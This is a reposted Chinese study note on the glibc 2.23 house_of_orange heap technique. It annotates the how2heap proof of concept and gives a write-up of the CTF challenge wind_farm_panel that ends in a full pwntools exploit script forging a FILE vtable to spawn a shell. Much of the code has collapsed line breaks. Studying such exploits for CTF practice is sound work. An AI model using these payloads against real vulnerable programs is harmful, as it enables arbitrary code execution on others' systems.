House_of_orange 學習小結


House_of_orange學習小結

  house_of_orange最早出現在2016年hitcon的一道同名題目,其利用效果,是當程序沒有free函數的時候,我們可以通過一些方法,來讓chunk被填入unsortbin中,成為一塊被free的chunk,然后通過對_IO_FILE_plus.vtable的攻擊,達到getshell的目的。

例子

  以how2heap中的house_of_orange為例,來分析house_of_orange的利用過程,libc版本為2.23。

#include <stdio.h> #include <stdlib.h> #include <string.h>

int winner ( char *ptr); int main() {
    char *p1, *p2; size_t io_list_all, *top; fprintf(stderr, "The attack vector of this technique was removed by changing the behavior of malloc_printerr, "
        "which is no longer calling _IO_flush_all_lockp, in 91e7cf982d0104f0e71770f5ae8e3faf352dea9f (2.26).\n"); fprintf(stderr, "Since glibc 2.24 _IO_FILE vtable are checked against a whitelist breaking this exploit,"
        "https://sourceware.org/git/?p=glibc.git;a=commit;h=db3476aff19b75c4fdefbe65fcd5f0a90588ba51\n"); /* Firstly, lets allocate a chunk on the heap. */ p1 = malloc(0x400-16);  top = (size_t *) ( (char *) p1 + 0x400 - 16); top[1] = 0xc01; p2 = malloc(0x1000); io_list_all = top[2] + 0x9a8; top[3] = io_list_all - 0x10; /* At the end, the system function will be invoked with the pointer to this file pointer. If we fill the first 8 bytes with /bin/sh, it is equivalent to system(/bin/sh) */ memcpy( ( char *) top, "/bin/sh\x00", 8); top[1] = 0x61;
FILE *fp = (FILE *) top; /* 1. Set mode to 0: fp->_mode <= 0 */ fp->_mode = 0; // top+0xc0 /* 2. Set write_base to 2 and write_ptr to 3: fp->_IO_write_ptr > fp->_IO_write_base */ fp->_IO_write_base = (char *) 2; // top+0x20 fp->_IO_write_ptr = (char *) 3; // top+0x28 /* 4) Finally set the jump table to controlled memory and place system there. The jump table pointer is right after the FILE struct: base_address+sizeof(FILE) = jump_table 4-a) _IO_OVERFLOW calls the ptr at offset 3: jump_table+0x18 == winner */ size_t *jump_table = &top[12]; // controlled memory jump_table[3] = (size_t) &winner; *(size_t *) ((size_t) fp + sizeof(FILE)) = (size_t) jump_table; // top+0xd8 /* Finally, trigger the whole chain by calling malloc */ malloc(10); /* The libc's error message will be printed to the screen But you'll get a shell anyways. */ return 0; } int winner(char *ptr) { system(ptr); return 0; }

step1: fake _free_chunk

    程序中,首先開辟了一塊0x400大小的chunk。

p1 = malloc(0x400-16);

    申請到的chunk和top chunk緊鄰,我們再解釋一下top chunk。

  glibc為了減少內存開銷,top chunk相當於提前分配出來的一塊內存池,然后以后申請比較小的chunk時,直接從top chunk中進行申請。如果沒有top chunk,每次申請堆塊都要從內存中直接申請,內存的開銷就會非常大。當top chunk不夠用的時候,glibc就要通過brk再次切割一塊內存到heap段,或者用mmap的方式從內存中再次映射出一塊內存到進程中。

  我們現在申請出了一塊大小為0x400的chunk,這時候,假設我們存在一個堆溢出,可以修改到top chunk的size域。

top = (size_t *) ( (char *) p1 + 0x400 - 16); top[1] = 0xc01;

   可以看到,top chunk的size域被修改了。由於內存映射的時候,是以內存頁的形式進行映射的,內存頁的大小就是0x1000字節,所以在本例中,溢出修改top chunk的size域的時候,大小只能修改為0xc00,0x1c00,0x2c00等等。修改完top chunk的size域之后,申請一塊大於0xc00大小的chunk。

p2 = malloc(0x1000);

   這時候,old top chunk就被釋放到了unsortedbin中,heap段也進行了brk拓展。

  如果開始不修改top chunk的size域大小的話,glibc會通過mmap直接從內存中映射出一塊內存地址,這時候無法達到fake free的效果。

  將chunk填入unsortedbin之后,就要用到unsortedbin attack和_IO_FILE_的一些知識來進行后續的利用了。

step2:FSOP

  FILE 在 Linux 系統的標准 IO 庫中是用於描述文件的結構,稱為文件流。 FILE 結構在程序執行 fopen 等函數時會進行創建,並分配在堆中。我們常定義一個指向 FILE 結構的指針來接收這個返回值。FILE結構體是包裹在_IO_FILE_plus中的,兩個結構體定義如下:

struct _IO_FILE_plus
{ _IO_FILE file; IO_jump_t
*vtable; }
struct _IO_FILE { int _flags;       /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;   /* Current read pointer */
  char* _IO_read_end;   /* End of get area. */
  char* _IO_read_base;  /* Start of putback+get area. */
  char* _IO_write_base; /* Start of put area. */
  char* _IO_write_ptr;  /* Current put pointer. */
  char* _IO_write_end;  /* End of put area. */
  char* _IO_buf_base;   /* Start of reserve area. */
  char* _IO_buf_end;    /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers; struct _IO_FILE *_chain; int _fileno; #if 0
  int _blksize; #else
  int _flags2; #endif _IO_off_t _old_offset; /* This used to be _offset but it's too small. */

#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */ unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1]; /* char* _save_gptr; char* _save_egptr; */ _IO_lock_t *_lock; #ifdef _IO_USE_OLD_IO_FILE };

  進程中的FILE結構會通過_chain域彼此連接形成一個鏈表,鏈表頭部用全局變量_IO_list_all表示,通過這個值可以遍歷所有的FILE結構。包裹_IO_FILE結構的_IO_FILE_plus中,有一個重要的指針vtable,vtable指向了一系列處理_IO_FILE文件流的函數指針。實際上所有針對_IO_FILE_的攻擊都是通過修改或者偽造vtable中的函數指針來實現的,因為類似fopen,fread,fwrite,printf,exit,malloc_printerr等對文件流進行操作的函數,最終的函數調用路徑都會指向_IO_FILE_plus.vtable上的函數指針。

  vtable指向的跳轉表是一種兼容C++虛函數的實現。當程序對某個流進行操作的時候,會調用該流對應的跳轉表中的某個函數,_IO_jump_t 結構體如下所示:

//glibc-2.23 ./libio/libioP.h
struct _IO_jump_t { JUMP_FIELD(size_t, __dummy); JUMP_FIELD(size_t, __dummy2); JUMP_FIELD(_IO_finish_t, __finish); JUMP_FIELD(_IO_overflow_t, __overflow); JUMP_FIELD(_IO_underflow_t, __underflow); JUMP_FIELD(_IO_underflow_t, __uflow); JUMP_FIELD(_IO_pbackfail_t, __pbackfail); /* showmany */ JUMP_FIELD(_IO_xsputn_t, __xsputn); JUMP_FIELD(_IO_xsgetn_t, __xsgetn); JUMP_FIELD(_IO_seekoff_t, __seekoff); JUMP_FIELD(_IO_seekpos_t, __seekpos); JUMP_FIELD(_IO_setbuf_t, __setbuf); JUMP_FIELD(_IO_sync_t, __sync); JUMP_FIELD(_IO_doallocate_t, __doallocate); JUMP_FIELD(_IO_read_t, __read); JUMP_FIELD(_IO_write_t, __write); JUMP_FIELD(_IO_seek_t, __seek); JUMP_FIELD(_IO_close_t, __close); JUMP_FIELD(_IO_stat_t, __stat); JUMP_FIELD(_IO_showmanyc_t, __showmanyc); JUMP_FIELD(_IO_imbue_t, __imbue); #if 0 get_column; set_column; #endif };

  house_of_orange.c中通過偏移來確定了io_list_all的值,即main_arena+88與io_list_all的偏移相差0x9a8字節。

io_list_all = top[2] + 0x9a8;
top[3] = io_list_all - 0x10;

  top在前面被定義為了old top chunk的地址,這里top[2]的值就是unsortedbin中fd指針的值。

   top[2]+0x9a8的地址處,就是全局變量_IO_list_all的地址,修改unsortedbin chunk的bk指針為_IO_list_all的值如圖所示。

  在本例中,最終實現攻擊的大致思路如下:glibc中定義了打印內存報錯信息的函數malloc_printerr,malloc_printerr中實際起作用的是__libc_message函數中定義了abort函數,abort函數在中止進程的時候,會調用_IO_flush_all_lockp遍歷刷新所有的文件流,然后會調用_IO_FILE_plus.vtable中的_IO_OVERFLOW函數處理_IO_FILE結構體指針fp。我們在堆區偽造一個_IO_FILE_plus結構體,_IO_FILE_plus.vtable中_IO_OVERFLOW的函數指針修改為system函數地址,_IO_FILE結構體0字節偏移處改寫為"sh"或者“/bin/sh”,這時候_IO_OVERFLOW(fp,EOF)就相當於調用system("/bin/sh")。

  malloc_printerr函數調用鏈和具體代碼實現如下:

malloc_printerr --> __libc_message --> abort --> _IO_flush_all_lockp --> _IO_OVERFLOW

  malloc_printerr函數定義在malloc.c中,malloc_printerr中真正起作用的函數,是__libc_message,__libc_message函數被定義在libc_fatal.c中。

static void malloc_printerr (int action, const char *str, void *ptr, mstate ar_ptr) { /* Avoid using this arena in future. We do not attempt to synchronize this with anything else because we minimally want to ensure that __libc_message gets its resources safely without stumbling on the current corruption. */
  if (ar_ptr) set_arena_corrupt (ar_ptr); if ((action & 5) == 5) __libc_message (action & 2, "%s\n", str); else if (action & 1) { char buf[2 * sizeof (uintptr_t) + 1]; buf[sizeof (buf) - 1] = '\0'; char *cp = _itoa_word ((uintptr_t) ptr, &buf[sizeof (buf) - 1], 16, 0); while (cp > buf) *--cp = '0';  __libc_message (action & 2, "*** Error in `%s': %s: 0x%s ***\n", __libc_argv[0] ? : "<unknown>", str, cp); } else if (action & 2) abort (); }

   __libc_message函數定義在libc_fatal.c文件中

void __libc_message (enum __libc_message_action action, const char *fmt, ...) { va_list ap; int fd = -1; va_start (ap, fmt); #ifdef FATAL_PREPARE FATAL_PREPARE; #endif ....... if ((action & do_abort)) { if ((action & do_backtrace)) BEFORE_ABORT (do_abort, written, fd); /* Kill the application. */ abort (); } }

  abort()處理進程的時候,會調用_IO_flush_all_lockp遍歷刷新所有的文件流,然后會調用_IO_FILE_plus.vtable中的_IO_overflow函數處理_IO_FILE結構體。

int _IO_flush_all_lockp (int do_lock) { int result = 0; FILE *fp; #ifdef _IO_MTSAFE_IO _IO_cleanup_region_start_noarg (flush_cleanup); _IO_lock_lock (list_all_lock); #endif
  for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain) { run_fp = fp; if (do_lock) _IO_flockfile (fp);  result = EOF; if (do_lock) _IO_funlockfile (fp); run_fp = NULL; } #ifdef _IO_MTSAFE_IO _IO_lock_unlock (list_all_lock); _IO_cleanup_region_end (0); #endif
  return result; }

   試想一下,如果所有文件流中,有一個_IO_FILE結構體的0字節偏移處被改寫為"sh",將_IO_FILE_plus.vtable中的_IO_overflow函數指針改寫為system函數的地址,這時候執行

_IO_OVERFLOW (fp, EOF) == EOF)

  就相當於是執行:system("sh")。

  滿足一下三種情況的時候,有利用FSOP的可能:

  1.當libc執行abort流程時;

  2.當執行exit函數時;

  3.當執行流從main函數返回時。

 if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)) ) && _IO_OVERFLOW (fp, EOF) == EOF)
    io_list_all = top[2] + 0x9a8; top[3] = io_list_all - 0x10; memcpy( ( char *) top, "/bin/sh\x00", 8); top[1]= 0x61;

  在上面的例子中,修改了unsortedbin chunk的bk指針,讓bk指針指向了_IO_list_all-0x10地址處,同時修改了unsortedbin chunk的size域為0x61。這時候如果重新申請chunk,會觸發unsortedbin attack,這時候_IO_list_all的值被改寫為main_arena+88,而unsortedbin由於不滿足分配規則,會被分配到smallbin[4]這一條鏈表中,這時候chunk的fd指針和bk指針指向main_arena+168處,main_arena+194地址處保留指向smallbin chunk的指針。

  main_arena+194和main_arena+88之間的偏移是0x61字節,對照上面的_IO_FILE結構體,可以看到_IO_FILE.chain和首地址之間的偏移正好是0x60。所以,就是說我們改寫_IO_list_all的值,讓_IO_list_all指向main_arena+88,然后mian_arena+194指向第二個_IO_FILE結構體,也就是我們布置偽造數據的這個smallbin chunk。我們構造好數據,滿足利用條件,最終_IO_flush_all_lockp遍歷鏈表,就可以getshell。

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)) ) && _IO_OVERFLOW (fp, EOF) == EOF)

  偽造數據的流程如下:

   FILE *fp = (FILE *) top;  fp->_mode = 0; // top+0xc0 fp->_IO_write_base = (char *) 2; // top+0x20 fp->_IO_write_ptr = (char *) 3; // top+0x28 size_t *jump_table = &top[12]; // controlled memory jump_table[3] = (size_t) &winner; *(size_t *) ((size_t) fp + sizeof(FILE)) = (size_t) jump_table; // top+0xd8

   最終,malloc(10)分配失敗,調用malloc_printerr函數,觸發漏洞利用鏈,就可以實現getshell。

 例題:2020縱橫杯 wind_farm_panel

   題目保護全開。

  這道題就是一道典型的house_of_orange,菜單中沒有free的選項,所以需要將top_chunk釋放到unsortedbin中。程序菜單中實現的各個功能如下:

// local variable allocation has failed, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp) { int v3; // eax
 init_0(); while ( 1 ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { menu(); v3 = read_int(); if ( v3 != 2 ) break; show_info(*(__int64 *)&argc, (__int64)argv); } if ( v3 > 2 ) break; if ( v3 != 1 ) goto LABEL_13; setting(); } if ( v3 != 3 ) break; edit(); } if ( v3 == 4 ) break; LABEL_13: *(_QWORD *)&argc = "Invalid!"; puts("Invalid!"); } puts("bye!"); return 0; }

  添加堆塊的功能如下,可以看到,我們申請的chunk可以小於0x1000字節,這時候在往chunk上讀入內容的時候,就會存在一個堆溢出。

int setting() { int size; // [rsp+8h] [rbp-8h]
  int idx; // [rsp+Ch] [rbp-4h]
 printf("Please enter the wind turbine to be turned on(0 ~ %d): ", 5LL); idx = read_int(); if ( idx > 4 ) return puts("There are no more wind turbines"); if ( idx < 0 ) return puts("Unvalidated Input"); printf("Please input the maximum power of this wind turbine: "); size = read_int(); if ( size <= 0x7F ) return puts("Unvalidated Input"); if ( size > 0xFFF ) { puts("The maximum power of a wind turbine is 4096 kilowatts"); size = 0x1000; } area[idx] = malloc(size); printf("Please write down the name of the person who opened it\nYour name: "); read(0, area[idx], 0x1000uLL); return puts("Done!"); }

  edit函數也一樣,堆溢出。

int edit() { int v1; // [rsp+8h] [rbp-8h]  printf("Please modify your personal information.\nWhich turbine: "); v1 = read_int(); if ( !area[v1] || v1 < 0 || v1 > 4 ) return puts("Unvalidated Input"); printf("Please input: "); read(0, area[v1], 0x1000uLL); return puts("Done"); }

  打印堆塊內容的函數如下:

int __fastcall show_info(__int64 a1, __int64 a2) { unsigned int i; // [rsp+Ch] [rbp-4h]
  int v4; // [rsp+Ch] [rbp-4h]

  for ( i = 0; (int)i <= 4; ++i ) { a2 = i; if ( area[i] ) printf("[\x1B[0;32m+\x1B[0m]turbine[%d]: opened\n", i); else printf("[\x1B[0;31m-\x1B[0m]turbine[%d]: closed\n", i); } printf("Please select the number of the wind turbine to be viewed: ", a2); v4 = read_int(); if ( v4 < 0 || v4 > 4 ) return printf("Out of size"); if ( !area[v4] ) return puts("The wind turbine hasn't been turned on yet"); printf("The operator of this wind turbine is "); printf("%s", area[v4]); return puts("Done!"); }

  基本思路:通過堆溢出,修改top chunk的size域,將old top chunk填入unsortedbin鏈表中,然后通過打印函數,泄露處libc中的地址,得到main_arena的地址,然后再申請一塊大於unsortedbin chunk的內存,將unsortedbin中的chunk填入到largebin中,通過打印largebin chunk中的內容,泄露出堆地址。然后重新構造堆塊,再進行一次將top chunk填入unsortedbin chunk的操作,接下來的步驟就和調試house_of_orange.c的時候沒有區別了。

from pwn import *
context.log_level='debug'
DEBUG
=1 if DEBUG: p=process('./pwn') else: p=remote('182.92.203.154','28452') elf=ELF('./pwn') libc=ELF('./libc-2.23.so') def setting(idx,size,content): p.recvuntil('>> ') p.sendline('1') p.recvuntil('turned on(0 ~ 5): ') p.sendline(str(idx)) p.recvuntil('wind turbine: ') p.sendline(str(size)) p.recvuntil('name: ') p.send(content) def edit(idx,content): p.recvuntil('>> ') p.sendline('3') p.recvuntil('turbine: ') p.sendline(str(idx)) p.recvuntil('Please input: ') p.sendline(content) p.recvuntil('Done') #----------------------------------------------libc leak address----------------------------- #gdb.attach(p) payload='a'*(0x400-16)+p64(0xa)+p64(0xc01) setting(0,(0x400-16),payload) setting(1,0x1000,'b'*0x1000)
#這里將old top chunk填入unsortedbin中 payload
='a'*0x3f0+'a'*16 edit(0,payload) p.recvuntil(">> ") p.sendline('2') p.recvuntil('be viewed: ') p.sendline('0') p.recvuntil('a'*0x400) data=p.recvn(6) main_arena=u64(data.ljust(8,'\x00'))-0xa+0x78-88 libc_base=main_arena-libc.sym['main_arena'] system_addr=libc_base+libc.sym['system'] log.success('libc base address:%s'%hex(libc_base))
#泄露libc中地址,通過偏移計算libc基址,system函數地址,main_arena地址
#----------------------------------------------leak heap address----------------------------------- # overwrite libc address payload='a'*0x3f0+p64(0)+p64(0xbe1)+p64(main_arena+88)*2 edit(0,payload) setting(2,0x1000,'c'*0x1000)
#構造largebin來泄露堆地址
# largebin payload='a'*0x410 edit(0,payload) p.recvuntil(">> ") p.sendline('2') p.recvuntil('be viewed: ') p.sendline('0') p.recvuntil('a'*0x410) data=p.recvn(6) heap_addr=u64(data.ljust(8,'\x00'))-0xa log.success('heap address:%s\n'%hex(heap_addr)) #------------------------------------------------------FSOP------------------------------------------ payload='a'*0x3f0+p64(0)+p64(0x21000-0x400)+p64(main_arena+88)*2 edit(0,payload) #重新構造出top chunk,再進行一次將top chunk分配到unsortedbin中的操作
#后續利用就是FSOP的套路了
payload='e'*0xe00+p64(0)+p64(0x1d1) setting(2,0xe00,payload) setting(1,0x1000,'a'*0x1000) payload='a'*0xe00+"/bin/sh\x00"+p64(0x61)+p64(main_arena+88)+p64(main_arena+88+0x998) payload+=p64(2)+p64(3) payload+=p64(0)*9 payload+=p64(system_addr) payload+=p64(0)*11 payload+=p64(heap_addr+0x23a30+0x60) edit(2,payload) p.recvuntil('>> ') p.sendline('1') p.recvuntil('turned on(0 ~ 5): ') p.sendline(str(4)) p.recvuntil('wind turbine: ') p.sendline(str(0x1000)) p.interactive()

   結語:

  回頭再看house_of_orange,漏洞利用鏈的每個環節都設計的非常巧妙。當初能想出這種利用,真的是一種很天才的思維。

  遺憾的是,隨着glibc版本的迭代,glibc 2.24之后,有關_IO_FILE的保護機制又有了進一步的完善,glibc 2.29之后unsortedbin attack也完全失效,house_of_orange這種方法也無法再應對高版本的libc。但是學習這種利用姿勢,也是加深了對文件流和gliibc內存管理的理解,開拓了思路。

 

 

 

   

  

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM